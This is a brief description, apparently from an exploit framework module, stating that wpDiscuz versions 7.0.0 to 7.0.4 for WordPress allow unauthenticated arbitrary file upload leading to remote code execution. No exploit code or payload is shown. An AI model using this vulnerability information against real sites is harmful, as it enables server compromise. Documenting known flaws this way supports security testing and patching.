          This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
          versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
          to upload arbitrary files, including PHP files, and achieve remote code execution on a
          vulnerable site’s server.
